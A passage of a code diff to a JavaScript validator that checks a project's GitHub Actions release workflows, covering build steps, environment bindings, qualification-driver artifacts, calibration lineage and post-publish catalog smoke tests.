the exact Cargo-selected release binary`, + ); requireStepRun(violations, file, job, "Prepare checksum-pinned embedded model", [ "node scripts/prepare-embedded-model.mjs", ]); requireStepRun(violations, file, job, "Install Linux Vulkan build dependencies", [ "bash .github/scripts/install-linux-vulkan-build-deps.sh", ]); - const windowsNativeStagingTest = namedStep(job, "Test immutable native staging on Windows"); + const productFeatureProbe = namedStep(job, "Prove production feature identity"); add( violations, - windowsNativeStagingTest?.if === "runner.os == 'Windows'", - `${file} immutable native staging regression must run on Windows`, + productFeatureProbe?.if === "runner.os != 'Windows'" + && productFeatureProbe?.shell === "bash" + && object(productFeatureProbe?.env).CODESTORY_EMBED_ALLOW_CPU === "0" + && productFeatureProbe?.["continue-on-error"] === undefined, + `${file} Unix packages must fail closed on a non-product embedding feature identity`, ); - requireStepRun(violations, file, job, "Test immutable native staging on Windows", [ - "cargo test --release --locked", - "-p codestory-llama-sys", - "--test native_staging", - '--target "${{ matrix.rust_target }}"', - "stages_complete_immutable_native_seeds", + requireStepRun(violations, file, job, "Prove production feature identity", [ + "retrieval status", + '--cache-dir "$cache"', + '.embedding_device_observation_source == "per_user_server"', + "Production feature identity probe:", ]); + const windowsProductFeatureProbe = namedStep( + job, + "Prove production feature identity on Windows", + ); + add( + violations, + windowsProductFeatureProbe?.if === "runner.os == 'Windows'" + && windowsProductFeatureProbe?.shell === "pwsh" + && object(windowsProductFeatureProbe?.env).CODESTORY_EMBED_ALLOW_CPU === "0" + && object(windowsProductFeatureProbe?.env).WINDOWS_CLI + === "${{ steps.package-build.outputs.cli }}" + && windowsProductFeatureProbe?.["continue-on-error"] === undefined, + `${file} Windows package must execute the exact selected CLI for its product feature probe`, + ); + requireStepRun( + violations, + file, + job, + "Prove production feature identity on Windows", + [ + 'retrieval status', + '--cache-dir "$cache"', + '$status.embedding_device_observation_source -ne "per_user_server"', + "non-product embedding observation source", + "Production feature identity probe:", + ], + ); requireStepRun(violations, file, job, "Build pinned Linux toolchain image", [ ".github/docker/linux-glibc-build.Dockerfile", "LINUX_GLIBC_BUILD_IMAGE", "LINUX_GLSLC_IMAGE", ]); - requireStepRun(violations, file, job, "Build Linux x64 at the glibc 2.31 baseline", [ - "cargo build --release --locked -p codestory-cli", - "CARGO_TARGET_DIR=/workspace/target/glibc-2.31", - "CXXFLAGS=-std=c++17", - ]); - for (const smokeStep of [ - "Smoke packaged release asset", - "Smoke packaged release asset on Windows", - ]) { + const packageBuildRun = shellLiteralNormalizedText(stepRun( + job, + "Build package and qualification driver", + )); + const linuxBuildRun = shellLiteralNormalizedText(stepRun( + job, + "Build Linux x64 at the glibc 2.31 baseline", + )); + const cargoBuildStepNames = list(job?.steps) + .map(object) + .filter(step => + shellInvocationsContaining( + shellLiteralNormalizedText(step.run), + "cargo build", + ).length > 0) + .map(step => step.name) + .sort(); + add( + violations, + shellInvocationsContaining(packageBuildRun, "cargo build").length === 1 + && packageBuildRun.includes("cargo build --release --locked") + && packageBuildRun.includes("-p codestory-cli") + && packageBuildRun.includes("--bin codestory-cli") + && packageBuildRun.includes("--bin codestory-cli-runtime") + && packageBuildRun.includes("if [ $INCLUDE_QUALIFICATION_DRIVER = true ]") + && packageBuildRun.includes("-p codestory-bench") + && packageBuildRun.includes("--bin codestory_embedding_qualification") + && packageBuildRun.includes("--target $RELEASE_RUST_TARGET") + && packageBuildRun.includes("if [ $RUNNER_OS = Windows ]") + && packageBuildRun.includes("--message-format=json-render-diagnostics") + && packageBuildRun.includes("--timings") + && packageBuildRun.includes("cargo-build-artifacts.mjs select") + && packageBuildRun.includes("cargo-build-artifacts.mjs features") + && occurrenceCount(packageBuildRun, "--workspace-root $GITHUB_WORKSPACE") === 2 + && packageBuildRun.includes("--source-sha $SOURCE_SHA") + && packageBuildRun.includes("--source-tree $SOURCE_TREE") + && occurrenceCount(packageBuildRun, "build_package_graph") === 3 + && !packageBuildRun.includes("codestory_embedding_constant_calibration") + && !packageBuildRun.includes("target/debug") + && !/(?:^|\s)--test(?:s)?(?:\s|$)/u.test(packageBuildRun) + && !/(?:^|\s)--bins(?:\s|$)/u.test(packageBuildRun), + `${file} host package must build only the production bins and optional qualification driver in one exact Cargo invocation`, + ); + add( + violations, + JSON.stringify(cargoBuildStepNames) === JSON.stringify([ + "Build Linux x64 at the glibc 2.31 baseline", + "Build package and qualification driver", + ]) + && jobShellInvocationsContaining(job, "cargo test").length === 0 + && jobShellInvocationsContaining(job, "cargo check").length === 0 + && jobShellInvocationsContaining(job, "rustc ").length === 1 + && jobShellInvocationsContaining(job, "rustc ")[0].includes("rustc -Vv"), + `${file} package proof must not compile outside the two mutually exclusive reviewed Cargo build steps`, + ); + add( + violations, + shellInvocationsContaining(linuxBuildRun, "cargo build").length === 1 + && linuxBuildRun.includes("CARGO_TARGET_DIR=/workspace/target/glibc-2.31") + && linuxBuildRun.includes("CXXFLAGS=-std=c++17") + && linuxBuildRun.includes("INCLUDE_QUALIFICATION_DRIVER=$INCLUDE_QUALIFICATION_DRIVER") + && linuxBuildRun.includes("RELEASE_RUST_TARGET=$RELEASE_RUST_TARGET") + && linuxBuildRun.includes("-p codestory-cli") + && linuxBuildRun.includes("--bin codestory-cli") + && linuxBuildRun.includes("--bin codestory-cli-runtime") + && linuxBuildRun.includes("if [ $INCLUDE_QUALIFICATION_DRIVER = true ]") + && linuxBuildRun.includes("-p codestory-bench") + && linuxBuildRun.includes("--bin codestory_embedding_qualification") + && linuxBuildRun.includes("--target $RELEASE_RUST_TARGET") + && linuxBuildRun.includes("--message-format=json-render-diagnostics") + && linuxBuildRun.includes("cargo-build-artifacts.mjs features") + && linuxBuildRun.includes("--workspace-root $GITHUB_WORKSPACE") + && !linuxBuildRun.includes("codestory_embedding_constant_calibration") + && !/(?:^|\s)--bins(?:\s|$)/u.test(linuxBuildRun), + `${file} Linux package must build CLI, runtime, and conditional qualification driver in one exact Cargo invocation`, + ); + // The identity the smoke reads is the one `source-identity` proved against the dispatched ref, + // and it now arrives through `env:` rather than spliced into the command. Both halves are pinned: + // the script names the variable, and the variable names that step's output. + const sourceIdentityBindings = { + SOURCE_SHA: "${{ steps.source-identity.outputs.sha }}", + SOURCE_TREE: "${{ steps.source-identity.outputs.tree }}", + }; + for (const [smokeStep, sha, tree] of [ + ["Smoke packaged release asset", '"$SOURCE_SHA"', '"$SOURCE_TREE"'], + ["Smoke packaged release asset on Windows", '"$env:SOURCE_SHA"', '"$env:SOURCE_TREE"'], + ]) { requireStepRun(violations, file, job, smokeStep, [ - '--expected-source-sha "${{ steps.source-identity.outputs.sha }}"', - '--expected-source-tree "${{ steps.source-identity.outputs.tree }}"', + `--expected-source-sha ${sha}`, + `--expected-source-tree ${tree}`, ]); + requireStepEnv(violations, file, job, smokeStep, sourceIdentityBindings); } + const driverStageName = "Stage qualification driver in package proof artifact"; + const driverStage = namedStep(job, driverStageName); + const driverStageRun = shellLiteralNormalizedText(stepRun(job, driverStageName)); + add( + violations, + driverStage?.if === "inputs.include_qualification_driver" + && driverStage?.shell === "bash" + && driverStage?.["continue-on-error"] === undefined + && hasExactKeys(object(driverStage?.env), [ + "INPUT_VERSION", + "SOURCE_SHA", + "SOURCE_TREE", + ]) + && object(driverStage?.env).INPUT_VERSION === "${{ inputs.version }}" + && object(driverStage?.env).SOURCE_SHA + === "${{ steps.source-identity.outputs.sha }}" + && object(driverStage?.env).SOURCE_TREE + === "${{ steps.source-identity.outputs.tree }}" + && shellInvocationsContaining( + driverStageRun, + "node .github/scripts/qualification-driver-artifact.mjs produce", + ).length === 1 + && driverStageRun.includes("--asset-target ${{ matrix.asset_target }}") + && driverStageRun.includes("--source-sha $SOURCE_SHA") + && driverStageRun.includes("--source-tree $SOURCE_TREE") + && driverStageRun.includes("--version $INPUT_VERSION") + && driverStageRun.includes( + "--archive target/release-dist/codestory-cli-v${INPUT_VERSION}-${{ matrix.asset_target }}.${{ matrix.extension }}", + ) + && driverStageRun.includes("--trusted-root $GITHUB_WORKSPACE") + && driverStageRun.includes("--target-dir target") + && driverStageRun.includes( + "--out-dir target/release-dist/qualification-driver/${{ matrix.asset_target }}", + ), + `${file} must retain one archive-bound private qualification driver beside each selected package`, + ); + add( + violations, + stepIndex(job, driverStageName) > stepIndex(job, "Package release asset") + && stepIndex(job, driverStageName) + > stepIndex(job, "Package release asset on Windows") + && stepIndex(job, driverStageName) < stepIndex(job, "Upload release asset"), + `${file} must bind the private qualification driver after archive creation and before artifact upload`, + ); + add( + violations, + [ + "Package release asset", + "Package release asset on Windows", + "Sign and notarize macOS CLI", + ].every(stepName => { + const run = shellLiteralNormalizedText(stepRun(job, stepName)); + return !run.includes("qualification-driver") + && !run.includes("codestory_embedding_qualification"); + }), + `${file} public archives and signing inputs must exclude the private qualification driver`, + ); requireStepRun(violations, file, job, "Report fresh package identity", [ "archive_sha256=", - "Source SHA:", - "Source tree:", + "Source SHA: \\`$SOURCE_SHA\\`", + "Source tree: \\`$SOURCE_TREE\\`", "Archive SHA-256:", ]); + requireStepEnv(violations, file, job, "Report fresh package identity", sourceIdentityBindings); add( violations, stepIndex(job, "Report fresh package identity") @@ -2510,93 +4189,100 @@ function validatePackagedProof(workflows, violations, graph) { !executableRunText(String(linuxBaseline?.run ?? "")).includes("libvulkan"), `${file} Linux glibc baseline must not install a Vulkan loader`, ); - const qualificationDriver = namedStep(job, "Build qualification driver"); add( violations, - qualificationDriver?.if - === "matrix.asset_target == 'linux-x64' && (inputs.calibration_mode || inputs.quality_evidence_artifact != '')", - `${file} qualification driver must skip the standard server-behavior path`, + namedStep(job, "Build qualification driver") === undefined + && namedStep(job, "Packaged per-user server calibration or qualification") === undefined + && namedStep(job, "Upload hosted Linux calibration runs") === undefined + && namedStep(job, "Upload hosted Linux calibration failure evidence") === undefined + && namedStep(job, "Upload packaged agent proof artifacts") === undefined, + `${file} package workflow must not add a second driver build, calibration, or hosted qualification`, ); requireCalibrationProducerBoundary( violations, file, job, - "matrix.asset_target == 'linux-x64' && !inputs.calibration_mode && inputs.quality_evidence_artifact != ''", - ); - requireStepRun( + "matrix.asset_target == 'linux-x64' && inputs.calibration_bundle_artifact != ''", + ); + // The live guard. --version-only stops before the runtime proof, so it needs + // no release evidence and no qualification driver, but it still loads and + // verifies the authenticated calibration bundle -- and without the + // enforcement flag a version-only proof rejects calibration inputs outright, + // so removing the flag breaks this step loudly instead of disabling the + // guard. `check-packaged-agent-proof.py --self-test` proves both directions. + const lineageStepName = "Prove frozen calibration source lineage"; + const lineageProof = namedStep(job, lineageStepName); + requireStepRun(violations, file, job, lineageStepName, [ + 'test "$(jq -r .status crates/codestory-llama-sys/per-user-embedding-server-constant-set.json)" = frozen', + "calibration-bundle.json", + '--calibration-bundle "$calibration_bundle"', + "--calibration-producer-run-id", + "--calibration-producer-artifact", + "--proof-tier hosted_package", + "--version-only", + '--expected-source-sha "$SOURCE_SHA"', + '--expected-source-tree "$SOURCE_TREE"', + "--enforce-calibration-freeze-lineage", + ]); + requireFlagOnInvocation( violations, - file, - job, - "Packaged per-user server calibration or qualification", - [ - "--proof-tier hosted_package", - "calibration-bundle.json", - '--calibration-bundle "$calibration_bundle"', - "--calibration-producer-run-id", - "--calibration-producer-artifact", - 'test -f "$quality_path"', - "--engine-policy cpu_explicit", - "--expected-backend CPU", - "--produce-qualification-evidence", - "--timeout-secs 1800", - 'test "$(jq -r .status crates/codestory-llama-sys/per-user-embedding-server-constant-set.json)" = unfrozen', - 'test "$(jq -r .status crates/codestory-llama-sys/per-user-embedding-server-constant-set.json)" = frozen', - ], - ); - const packagedProofRun = stepRun( - job, - "Packaged per-user server calibration or qualification", - ); - const packagedProof = namedStep( - job, - "Packaged per-user server calibration or qualification", + `${file} ${lineageStepName} must pass --enforce-calibration-freeze-lineage on the invocation that reads the calibration bundle`, + stepRun(job, lineageStepName), + "--calibration-bundle", + "--enforce-calibration-freeze-lineage", ); - const hostedCalibrationUpload = namedStep(job, "Upload hosted Linux calibration runs"); add( violations, - hostedCalibrationUpload?.uses === "actions/upload-artifact@v7.0.1" - && hostedCalibrationUpload?.if - === "success() && matrix.asset_target == 'linux-x64' && inputs.calibration_mode", - `${file} hosted calibration artifact must remain calibration-only`, - ); - const hostedCalibrationFailureUpload = namedStep( - job, - "Upload hosted Linux calibration failure evidence", + lineageProof?.shell === "bash" + && object(lineageProof?.env).SOURCE_SHA === "${{ steps.source-identity.outputs.sha }}" + && object(lineageProof?.env).SOURCE_TREE === "${{ steps.source-identity.outputs.tree }}" + && object(lineageProof?.env).CALIBRATION_ARTIFACT + === "${{ inputs.calibration_bundle_artifact }}" + && object(lineageProof?.env).CALIBRATION_RUN_ID + === "${{ inputs.calibration_bundle_run_id }}", + `${file} ${lineageStepName} must bind the verified source identity and the authenticated producer`, ); add( violations, - hostedCalibrationFailureUpload?.uses === "actions/upload-artifact@v7.0.1" - && hostedCalibrationFailureUpload?.if - === "failure() && matrix.asset_target == 'linux-x64' && inputs.calibration_mode" - && object(hostedCalibrationFailureUpload?.with).path - === "target/calibration-runs/linux" - && object(hostedCalibrationFailureUpload?.with)["if-no-files-found"] === "warn", - `${file} hosted calibration failure evidence must stay a failure-only best-effort upload`, + object(namedStep(job, "Checkout")?.with)["fetch-depth"] === 0, + `${file} package build must keep full history for the calibration freeze lineage probe`, ); - const hostedEvaluationUpload = namedStep(job, "Upload packaged agent proof artifacts"); - add( - violations, - hostedEvaluationUpload?.uses === "actions/upload-artifact@v7.0.1" - && String(hostedEvaluationUpload?.if ?? "").replace(/\s+/gu, " ") - === "always() && matrix.asset_target == 'linux-x64' && (inputs.calibration_mode || inputs.quality_evidence_artifact != '')", - `${file} hosted evaluation artifact must require explicit calibration or quality evidence`, + // Reachability, not presence. A flag on a step no caller can reach is the + // vacuous guard this check exists to prevent, so evaluate the step's own + // condition against the bindings the frozen-candidate coordinator passes and + // require some real dispatch of it to run the step. + const coordinatorFile = "packaged-platform-pr.yml"; + const coordinator = workflows.get(coordinatorFile); + const coordinatorPackaged = object(at(coordinator, "jobs", "packaged-proof")); + const bindings = callerInputBindings( + object(coordinator), + coordinatorPackaged, + calleeInputSpecifications(workflow), ); - add( - violations, - String(packagedProof?.if ?? "").replace(/\s+/gu, " ") - === "matrix.asset_target == 'linux-x64' && (inputs.calibration_mode || inputs.quality_evidence_artifact != '')", - `${file} hosted CPU evaluation must require explicit calibration or quality evidence`, + const fullScopeTargets = packageMatrixAssetTargets( + at(workflow, "jobs", "build", "strategy", "matrix"), ); + for (const [stepName, stepValue] of [ + [lineageStepName, lineageProof], + ["Authenticate calibration bundle producer", namedStep(job, "Authenticate calibration bundle producer")], + ["Download frozen calibration bundle", namedStep(job, "Download frozen calibration bundle")], + ]) { + const reachability = conditionIsSatisfiable( + String(stepValue?.if ?? "false"), + bindings, + { "matrix.asset_target": fullScopeTargets }, + ); + add( + violations, + reachability.satisfiable, + `${file} step ${stepName} must be reachable from a ${coordinatorFile} frozen-candidate dispatch: ${reachability.reason}`, + ); + } add( violations, - packagedProofRun.includes('if [ "$CALIBRATION_MODE" = true ]') - && packagedProofRun.includes("--proof-tier calibration") - && packagedProofRun.includes("--proof-tier hosted_package") - && occurrenceCount(packagedProofRun, "--calibration-bundle") === 1 - && !packagedProofRun.includes("--server-behavior-only") - && !packagedProofRun.includes("--ground-only") - && !packagedProofRun.includes("--proof-tier installed_runtime"), - `${file} optional hosted CPU lane must remain evaluation-only`, + bindings.get("calibration_bundle_artifact")?.fixed === false + && bindings.get("calibration_bundle_run_id")?.fixed === false, + `${coordinatorFile} packaged proof must forward the dispatched calibration bundle identity so the freeze lineage guard can run`, ); add( violations, @@ -2609,13 +4295,91 @@ function validatePackagedProof(workflows, violations, graph) { `${file} package-only workflow must not contain installed-runtime or server-scope routing`, ); requireStepUses(violations, file, job, "Upload release asset", "actions/upload-artifact@v7.0.1"); + const releaseAssetUpload = namedStep(job, "Upload release asset"); + const candidateRecordStep = namedStep(job, "Produce exact candidate archive record"); + const candidateRecordUpload = namedStep(job, "Upload exact candidate archive record"); + const qualificationDriverUpload = namedStep(job, "Upload separate qualification driver"); + requireStepRun(violations, file, job, "Produce exact candidate archive record", [ + "candidate-archive-store.mjs record", + "--output \"$record_dir/candidate-archive-record.json\"", + "--repository \"$GITHUB_REPOSITORY\"", + "--source-sha \"$SOURCE_SHA\"", + "--source-tree \"$SOURCE_TREE\"", + "--target \"${{ matrix.asset_target }}\"", + "--archive-name \"$archive_name\"", + "--archive-bytes", + "--archive-sha256", + "--companion \"archive_checksum|", + "--companion \"checksum_manifest|SHA256SUMS.txt|", + ]); + add( + violations, + candidateRecordStep?.shell === "bash" + && candidateRecordStep?.["continue-on-error"] === undefined + && hasExactKeys(object(candidateRecordStep?.env), [ + "INPUT_VERSION", + "SOURCE_SHA", + "SOURCE_TREE", + ]) + && object(candidateRecordStep?.env).INPUT_VERSION === "${{ inputs.version }}" + && object(candidateRecordStep?.env).SOURCE_SHA + === "${{ steps.source-identity.outputs.sha }}" + && object(candidateRecordStep?.env).SOURCE_TREE + === "${{ steps.source-identity.outputs.tree }}" + && stepIndex(job, "Produce exact candidate archive record") + > stepIndex(job, "Report fresh package identity") + && stepIndex(job, "Produce exact candidate archive record") + < stepIndex(job, "Upload release asset"), + `${file} package producer must derive one exact public candidate record from the authenticated package bytes`, + ); + const expectedPublicPackagePath = [ + "target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.${{ matrix.extension }}", + "target/release-dist/codestory-cli-v${{ inputs.version }}-${{ matrix.asset_target }}.${{ matrix.extension }}.sha256", + "target/release-dist/SHA256SUMS.txt", + "", + ].join("\n"); + add( + violations, + object(releaseAssetUpload?.with).name + === "codestory-cli-${{ matrix.asset_target }}" + && String(object(releaseAssetUpload?.with).path ?? "") === expectedPublicPackagePath + && object(releaseAssetUpload?.with)["if-no-files-found"] === "error" + && object(releaseAssetUpload?.with)["retention-days"] === 30 + && object(releaseAssetUpload?.with).overwrite === true, + `${file} public package artifact must contain exactly the archive and its two candidate-local checksum files`, + ); + add( + violations, + candidateRecordUpload?.uses === "actions/upload-artifact@v7.0.1" + && object(candidateRecordUpload?.with).name + === "codestory-candidate-archive-record-${{ matrix.asset_target }}" + && object(candidateRecordUpload?.with).path + === "target/candidate-archive-record/${{ matrix.asset_target }}/candidate-archive-record.json" + && object(candidateRecordUpload?.with)["if-no-files-found"] === "error" + && object(candidateRecordUpload?.with)["retention-days"] === 30 + && object(candidateRecordUpload?.with).overwrite === true + && qualificationDriverUpload?.uses === "actions/upload-artifact@v7.0.1" + && qualificationDriverUpload?.if === "inputs.include_qualification_driver" + && object(qualificationDriverUpload?.with).name + === "codestory-qualification-driver-${{ matrix.asset_target }}" + && object(qualificationDriverUpload?.with).path + === "target/release-dist/qualification-driver/${{ matrix.asset_target }}" + && object(qualificationDriverUpload?.with)["if-no-files-found"] === "error" + && object(qualificationDriverUpload?.with)["retention-days"] === 30 + && object(qualificationDriverUpload?.with).overwrite === true, + `${file} candidate record and private qualification driver must be separate exact stable artifacts`, + ); requireStepUses(violations, file, job, "Upload macOS notarization proof", "actions/upload-artifact@v7.0.1"); requireStepRun(violations, file, job, "Emit authenticated package release cell", [ "codestory-release-cell-manifest.mjs produce", "package_identity:${{ matrix.asset_target }}", "--producer-job build", "--archive", + '--expected-sha "$INPUT_REF"', ]); + requireStepEnv(violations, file, job, "Emit authenticated package release cell", { + INPUT_REF: "${{ inputs.ref }}", + }); const packageCellUpload = namedStep(job, "Upload authenticated package release cell"); add( violations, @@ -2626,7 +4390,120 @@ function validatePackagedProof(workflows, violations, graph) { ); } -function validatePostPublish(workflows, violations) { +// The post-publish smoke runs whether or not the catalog was updated, so the one thing it must +// never do is let the deferred run look like the published one. Both states resolve a real Codex +// install of the real published assets; they differ in WHICH catalog served it, and that +// difference is carried into the release ledger as a distinct installer identity. These rules +// prove the two states stay distinguishable and that neither can be selected by accident. +function catalogDeliveryStateViolations(file, job, delivery, handoff, installStepName, checkoutRef) { + const violations = []; + const published = delivery.states.find(({ id }) => id === "published"); + const deferred = delivery.states.find(({ id }) => id === "deferred"); + // Whatever else the deferred branch does, it builds a catalog out of a tree and then verifies + // the install back against a tree. If those may be the same tree by default, the comparison is + // a tautology and the smoke cannot fail for any release-related reason. Both lanes therefore + // check out the PUBLISHED tag and make GitHub confirm it before anything is pinned. + const checkout = list(job.steps).find( + (candidate) => String(object(candidate).uses ?? "").startsWith("actions/checkout@"), + ); + add( + violations, + object(object(checkout).with).ref === checkoutRef + && object(object(checkout).with)["fetch-depth"] === 0, + `${file} post-publish smoke must check out the published release tag, not the run's own head`, + ); + requireStepRun(violations, file, job, "Bind this smoke to the published release", [ + 'gh release view "$TAG"', + "--json isDraft", + 'published_commit="$(gh api "repos/$GITHUB_REPOSITORY/commits/$TAG" --jq .sha)"', + `printf '%s' "$published_commit" | grep -Eq '^[0-9a-f]{40}$'`, + 'if [ "$published_commit" != "$(git -C "$GITHUB_WORKSPACE" rev-parse HEAD)" ]; then', + 'echo "commit=$published_commit" >> "$GITHUB_OUTPUT"', + ]); + const step = namedStep(job, "Record catalog delivery state"); + add( + violations, + object(step?.env).PUBLISHED_COMMIT === "${{ steps.published.outputs.commit }}", + `${file} catalog delivery state must pin the commit resolved from the published release`, + ); + add( + violations, + step?.if === undefined && step?.["continue-on-error"] === undefined, + `${file} catalog delivery state must be unconditional and fail closed`, + ); + add( + violations, + object(step?.env).CATALOG_PUBLISHED === handoff.published + && object(step?.env).INPUT_MARKETPLACE_REVISION === handoff.revision, + `${file} catalog delivery state must read the recorded publication handoff`, + ); + requireStepRun(violations, file, job, "Record catalog delivery state", [ + // The published branch: the live catalog, its live revision, no fixture. + 'if [ "$CATALOG_PUBLISHED" = "true" ]; then', + "marketplace_source=TheGreenCedar/AgentPluginMarketplace", + 'marketplace_revision="$INPUT_MARKETPLACE_REVISION"', + "local_fixture=false", + `installer=${published.installer}`, + // The deferred branch: a catalog pinned to this published commit, and a revision that cannot + // be a live one because the caller is required to have supplied none. + 'elif [ "$CATALOG_PUBLISHED" = "false" ]; then', + 'if [ -n "$INPUT_MARKETPLACE_REVISION" ]; then', + "Deferred catalog publication must not carry a live catalog revision", + "build-marketplace-fixture.mjs", + // The fixture pins the PUBLISHED commit, never the workspace's own head. Building a catalog + // out of the tree that then verifies the install makes the source-tree comparison a + // tautology, which is how the plugin lane's deferred smoke became unable to fail. + '--commit "$published_commit"', + 'marketplace_revision="$(git -C "$fixture_root" rev-parse HEAD)"', + "local_fixture=true", + `installer=${deferred.installer}`, + // Neither branch may fall through: an unset or unexpected handoff is a hard failure, never a + // silent default into the published identity. + "catalog_published must be true or false", + // Immutability, not length. A 40-character string is not a commit: the published branch + // takes its revision from a `workflow_dispatch`-able input, and a length-only test admits + // any 40 characters of anything. + `printf '%s' "$marketplace_revision" | grep -Eq '^[0-9a-f]{40}$'`, + 'echo "installer=$installer"', + ]); + const deliveryRun = executableRunText(String(step?.run ?? "")); + const publishedIndex = deliveryRun.indexOf(`installer=${published.installer}`); + const deferredIndex = deliveryRun.indexOf(`installer=${deferred.installer}`); + const publishedBranch = deliveryRun.indexOf('if [ "$CATALOG_PUBLISHED" = "true" ]; then'); + const deferredBranch = deliveryRun.indexOf('elif [ "$CATALOG_PUBLISHED" = "false" ]; then'); + add( + violations, + published.installer !== deferred.installer + && publishedBranch >= 0 + && deferredBranch > publishedBranch + && publishedIndex > publishedBranch + && publishedIndex < deferredBranch + && deferredIndex > deferredBranch, + `${file} the published installer identity must be reachable only from the published branch`, + ); + // Neither state may be fabricated in a later step: the install must come from what this step + // resolved, and the forbidden fragments that stop a faked install apply here too. + for (const forbidden of ["git archive", "git clone", "git ls-remote", "--source-commit", "--source-tree"]) { + add( + violations, + !deliveryRun.includes(forbidden), + `${file} marketplace install must not fabricate installation with ${forbidden}`, + ); + } + requireStepRun(violations, file, job, installStepName, [ + '--marketplace-source "$MARKETPLACE_SOURCE"', + '--local-fixture "$LOCAL_FIXTURE"', + ]); + // The install arguments arrive as variables now, so the command text no longer says which + // delivery state they came from. This binds each variable back to that step's own output. + requireStepEnv(violations, file, job, installStepName, { + MARKETPLACE_SOURCE: "${{ steps.delivery.outputs.marketplace_source }}", + LOCAL_FIXTURE: "${{ steps.delivery.outputs.local_fixture }}", + }); + return violations; +} + +function validatePostPublish(workflows, violations, graph) { const file = "post-publish-release-smoke.yml"; const workflow = workflows.get(file); if (!workflow) { @@ -2637,13 +4514,21 @@ function validatePostPublish(workflows, violations) { add(violations, object(workflow.permissions).actions === "read", `${file} must read the accepted pre-publish closeout`); requireNoCalibrationReferences(violations, file, workflow); for (const event of ["workflow_call", "workflow_dispatch"]) { + // The catalog revision is now empty exactly when publication was deferred, so the required + // input is the delivery state itself: the caller must state which one it is, never omit it. + const publishedInput = object(at(workflow, "on", event, "inputs", "catalog_published")); + add( + violations, + publishedInput.required === true && publishedInput.type === "boolean", + `${file} ${event} catalog_published must be a required boolean`, + ); const marketplaceInput = object( at(workflow, "on", event, "inputs", "marketplace_revision"), ); add( violations, - marketplaceInput.required === true && marketplaceInput.type === "string", - `${file} ${event} marketplace_revision must be a required string`, + marketplaceInput.type === "string" && marketplaceInput.default === "", + `${file} ${event} marketplace_revision must be a string defaulting to the deferred empty revision`, ); const closeoutInput = object(at(workflow, "on", event, "inputs", "pre_publish_closeout_artifact")); add(violations, closeoutInput.type === "string", `${file} ${event} pre_publish_closeout_artifact must be a string`); @@ -2693,23 +4578,323 @@ function validatePostPublish(workflows, violations) { object(workflow.env).CODEX_CLI_VERSION === "0.144.5", `${file} must pin the Codex CLI used for marketplace installation`, ); - const resolveInstalled = namedStep(job, "Resolve the published plugin through the marketplace catalog"); - requireStepRun(violations, file, job, "Resolve the published plugin through the marketplace catalog", [ - 'marketplace_revision="${{ inputs.marketplace_revision }}"', + const publishedAuthentication = namedStep( + job, + "Authenticate published candidate assets", + ); + add( + violations, + publishedAuthentication?.id === "published-assets" + && publishedAuthentication?.shell === "bash" + && publishedAuthentication?.if === undefined + && publishedAuthentication?.["continue-on-error"] === undefined + && hasExactKeys(object(publishedAuthentication?.env), [ + "ASSET_TARGET", + "EXTENSION", + "GH_TOKEN", + "PUBLISHED_COMMIT", + "TAG", + "VERSION", + ]) + && object(publishedAuthentication?.env).GH_TOKEN === "${{ github.token }}" + && object(publishedAuthentication?.env).TAG === "${{ steps.release.outputs.tag }}" + && object(publishedAuthentication?.env).VERSION + === "${{ steps.release.outputs.version }}" + && object(publishedAuthentication?.env).ASSET_TARGET + === "${{ matrix.asset_target }}" + && object(publishedAuthentication?.env).EXTENSION + === "${{ matrix.extension }}" + && object(publishedAuthentication?.env).PUBLISHED_COMMIT + === "${{ steps.published.outputs.commit }}", + `${file} published candidate authentication must bind the release tag, commit, target, and exact asset metadata`, + ); + requireStepRun(violations, file, job, "Authenticate published candidate assets", [ + 'gh api "repos/$GITHUB_REPOSITORY/releases/tags/$TAG"', + 'test "$(jq -r .tag_name <<<"$release")" = "$TAG"', + 'test "$(jq -r .draft <<<"$release")" = false', + "expected one published release asset", + 'archive_asset="$(select_asset "$asset")"', + 'checksum_asset="$(select_asset "$checksum")"', + "manifest_asset=\"$(select_asset SHA256SUMS.txt)\"", + '[[ "$(jq -r .id <<<"$value")" =~ ^[0-9]+$ ]]', + '[[ "$(jq -r .size <<<"$value")" =~ ^[0-9]+$ ]]', + '[[ "$(jq -r .digest <<<"$value")" =~ ^sha256:[0-9a-f]{64}$ ]]', + 'validate_asset "$archive_asset"', + 'validate_asset "$checksum_asset"', + 'validate_asset "$manifest_asset"', + "candidate-archive-store.mjs record", + '--source-sha "$PUBLISHED_COMMIT"', + "--source-tree \"$(git rev-parse 'HEAD^{tree}')\"", + '--target "$ASSET_TARGET"', + "--archive-bytes", + "--archive-sha256", + '--companion "archive_checksum|', + '--companion "checksum_manifest|SHA256SUMS.txt|', + "archive-id=", + "archive-bytes=", + "archive-sha256=", + "checksum-id=", + "checksum-bytes=", + "checksum-sha256=", + "manifest-id=", + "manifest-bytes=", + "manifest-sha256=", + ]); + const publishedRestore = namedStep( + job, + "Restore published candidate archive from protected host", + ); + add( + violations, + publishedRestore?.id === "candidate-cache" + && publishedRestore?.shell === "bash" + && publishedRestore?.if === undefined + && publishedRestore?.["continue-on-error"] === undefined + && hasExactKeys(object(publishedRestore?.env), [ + "ASSET_TARGET", + "PUBLISHED_COMMIT", + ]) + && object(publishedRestore?.env).ASSET_TARGET + === "${{ matrix.asset_target }}" + && object(publishedRestore?.env).PUBLISHED_COMMIT + === "${{ steps.published.outputs.commit }}", + `${file} published candidate cache lookup must be unconditional and exact-source bound`, + ); + requireStepRun( + violations, + file, + job, + "Restore published candidate archive from protected host", + [ + "--arg repository \"$GITHUB_REPOSITORY\"", + '--arg source_sha "$PUBLISHED_COMMIT"', + "--arg source_tree \"$(git rev-parse 'HEAD^{tree}')\"", + '--arg target "$ASSET_TARGET"', + ".repository == $repository", + ".source.commit == $source_sha", + ".source.tree == $source_tree", + ".target == $target", + "$RUNNER_TOOL_CACHE/codestory/candidate-archives", + "candidate-archive-store.mjs restore", + "--record \"$record\"", + "--output-dir target/post-publish-release-assets", + 'echo "hit=$hit" >> "$GITHUB_OUTPUT"', + ], + ); + const publishedMiss = namedStep( + job, + "Download, verify, and admit published candidate on miss", + ); + add( + violations, + publishedMiss?.if === "steps.candidate-cache.outputs.hit != 'true'" + && publishedMiss?.shell === "bash" + && publishedMiss?.["continue-on-error"] === undefined + && hasExactKeys(object(publishedMiss?.env), [ + "ARCHIVE_BYTES", + "ARCHIVE_ID", + "ARCHIVE_NAME", + "ARCHIVE_SHA256", + "ASSET_TARGET", + "CHECKSUM_BYTES", + "CHECKSUM_ID", + 